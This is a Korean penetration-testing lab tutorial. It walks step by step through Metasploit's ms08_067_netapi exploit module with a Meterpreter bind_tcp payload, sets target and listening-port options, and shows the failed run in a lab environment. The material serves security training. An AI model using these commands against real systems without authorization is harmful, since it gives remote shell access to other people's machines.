소개
이 실습에서는 Metasploit Framework 에서 bind shell 페이로드를 사용하는 기본적인 단계를 배우게 됩니다. Metasploit 은 보안 전문가가 취약점을 찾고, 악용하고, 검증할 수 있도록 하는 강력한 침투 테스트 도구입니다.
Metasploit 에서 "페이로드 (payload)"는 취약점이 성공적으로 악용된 후 대상 시스템에서 실행되는 코드입니다. "bind shell" 페이로드는 대상 시스템에 리스닝 포트 (listening port) 를 여는 특정 유형입니다. 공격자는 이 포트에 연결하여 명령 쉘 (command shell) 을 얻고 시스템을 제어합니다. 이는 대상 시스템이 공격자에게 연결을 시작하는 "reverse shell"과는 다릅니다.
이 실습 전반에 걸쳐 Metasploit 실행, 익스플로잇 (exploit) 선택, 필요한 옵션으로 bind shell 페이로드 구성, 그리고 익스플로잇 실행 시도 등 전체 워크플로우를 연습하게 됩니다.
대상에 대한 익스플로잇 모듈 선택
이 단계에서는 Metasploit Framework 콘솔을 시작하고 익스플로잇 모듈을 선택합니다. 익스플로잇은 시스템의 특정 취약점을 이용하는 코드 조각입니다. 이 실습에서는 시연 목적으로 잘 알려진 익스플로잇을 사용할 것입니다.
먼저 터미널을 열고 Metasploit 콘솔을 실행합니다. 배너를 건너뛰고 더 빠르게 시작하기 위해 "quiet" 모드를 위한 -q 플래그를 사용합니다.
msfconsole -q
콘솔이 로드되면 프롬프트가 msf6 >로 변경됩니다. 이제 익스플로잇을 선택해야 합니다. Windows Server 서비스의 취약점을 대상으로 하는 ms08_067_netapi 익스플로잇을 사용할 것입니다.
use 명령을 사용하여 익스플로잇 모듈을 로드합니다.
use exploit/windows/smb/ms08_067_netapi
명령을 실행한 후 현재 활성화된 익스플로잇 모듈을 반영하도록 프롬프트가 변경되는 것을 볼 수 있습니다.
msf6 > use exploit/windows/smb/ms08_067_netapi
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) >
Metasploit 이 기본적으로 reverse_tcp 페이로드를 선택했음을 알 수 있습니다. 다음 단계에서 이를 변경할 것입니다.
페이로드를 windows/meterpreter/bind_tcp로 설정
이 단계에서는 기본 페이로드를 bind shell 페이로드로 변경합니다. 소개에서 언급했듯이 bind 페이로드는 대상 시스템에서 포트를 열고 공격자가 연결하기를 기다립니다.
windows/meterpreter/bind_tcp를 사용할 것입니다. 이 페이로드는 쉘뿐만 아니라 대상 시스템에 대한 더 많은 제어를 제공하는 고급 기능이 풍부한 페이로드인 Meterpreter 세션을 제공합니다.
msfconsole 프롬프트 내에서 set payload 명령을 사용하여 새 페이로드를 지정합니다.
set payload windows/meterpreter/bind_tcp
Metasploit 이 변경 사항을 확인합니다.
msf6 exploit(windows/smb/ms08_067_netapi) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
이제 bind Meterpreter 페이로드를 사용하도록 익스플로잇을 성공적으로 구성했습니다.
익스플로잇에 대한 RHOSTS 옵션 설정
이 단계에서는 익스플로잇의 대상을 지정해야 합니다. Metasploit 에서 대상 주소는 RHOSTS (Remote Hosts) 옵션을 사용하여 설정합니다.
Metasploit 에게 어떤 머신을 공격할지 알려야 합니다. 실제 시나리오에서는 정찰을 통해 취약한 머신의 IP 주소를 발견했을 것입니다. 이 실습에서는 플레이스홀더 IP 주소를 사용합니다.
set 명령을 사용하여 RHOSTS 옵션을 구성합니다. Docker 브리지 네트워크의 컨테이너에 대한 일반적인 IP 주소인 172.17.0.2로 설정해 보겠습니다.
set RHOSTS 172.17.0.2
콘솔에서 RHOSTS 옵션이 설정되었음을 확인합니다.
msf6 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 172.17.0.2
RHOSTS => 172.17.0.2
이제 Metasploit 은 익스플로잇을 어디로 보낼지 알고 있습니다.
대상의 페이로드에 대한 LPORT 옵션 설정
이 단계에서는 bind shell 의 리스닝 포트를 구성합니다. bind 페이로드의 경우 LPORT (Local Port) 옵션은 페이로드가 대상 머신에서 열게 될 TCP 포트를 지정합니다. 이는 중요한 개념입니다. 익스플로잇이 성공한 후 연결할 포트를 정의하는 것입니다.
이 목적을 위해 일반적인 포트 4444를 사용할 것입니다.
set 명령을 사용하여 LPORT 옵션을 구성합니다.
set LPORT 4444
콘솔에서 설정을 확인합니다.
msf6 exploit(windows/smb/ms08_067_netapi) > set LPORT 4444
LPORT => 4444
모든 옵션이 올바르게 설정되었는지 확인하려면 show options 명령을 사용하여 익스플로잇과 페이로드 모두에 대한 구성을 검토할 수 있습니다.
show options
제공한 값으로 RHOSTS와 LPORT가 올바르게 설정된 출력 테이블을 볼 수 있어야 합니다.
...
Payload options (windows/meterpreter/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LPORT 4444 yes The listen port
RHOST 172.17.0.2 no The target address
Exploit target:
Id Name
-- ----
0 Automatic Targeting
...
익스플로잇 실행 및 리스닝 포트 연결
이 단계에서는 모든 옵션이 구성되었으므로 공격을 시작합니다. exploit 명령 (또는 별칭인 run) 은 Metasploit 에게 익스플로잇과 페이로드를 대상으로 전송하도록 지시합니다.
이제 익스플로잇을 실행합니다.
exploit
중요 참고 사항: 이 실습 환경에서는 172.17.0.2 주소에 취약한 Windows 머신이 없습니다. 따라서 익스플로잇은 실패할 것입니다. 이 단계의 목적은 명령을 이해하고 프로세스를 관찰하는 것입니다. 실제 침투 테스트에서는 대상이 취약한 경우 이 명령이 세션을 생성합니다.
Metasploit 이 연결을 시도하는 것을 볼 수 있지만 결국 시간 초과됩니다. 출력은 다음과 유사할 것입니다.
msf6 exploit(windows/smb/ms08_067_netapi) > exploit
[*] Started bind TCP handler against 172.17.0.2:4444
[*] 172.17.0.2:445 - Automatically detecting the target...
[*] 172.17.0.2:445 - Fingerprint: Unknown
[-] 172.17.0.2:445 - The target is not exploitable.
[*] Exploit completed, but no session was created.
이 출력은 예상된 것입니다. Metasploit 이 익스플로잇을 실행했지만 대상이 취약하거나 도달할 수 없었기 때문에 세션이 설정되지 않았음을 확인합니다. bind shell 페이로드 사용 워크플로를 성공적으로 완료했습니다.
Metasploit 콘솔을 종료하려면 exit를 입력합니다.
exit
요약
이 실습에서는 Metasploit Framework 내에서 bind shell 페이로드를 구성하고 사용하는 필수 과정을 배웠습니다.
핵심 워크플로를 연습했습니다.
- Metasploit 콘솔 시작 (
msfconsole). use명령으로 익스플로잇 모듈 선택.set payload로 특정 페이로드 설정.RHOSTS(대상 IP) 및LPORT(대상에서의 리스닝 포트) 와 같은 대상별 옵션 구성.exploit명령으로 공격 실행.
가장 중요하게는, bind shell 의 핵심 특징을 이해하게 되었습니다. 즉, 대상 시스템에서 리스너를 열어 공격자가 해당 리스너에 연결해야 한다는 것입니다. 이 기초 지식은 침투 테스트를 수행하고 원격 액세스를 얻는 다양한 방법을 이해하는 데 매우 중요합니다.


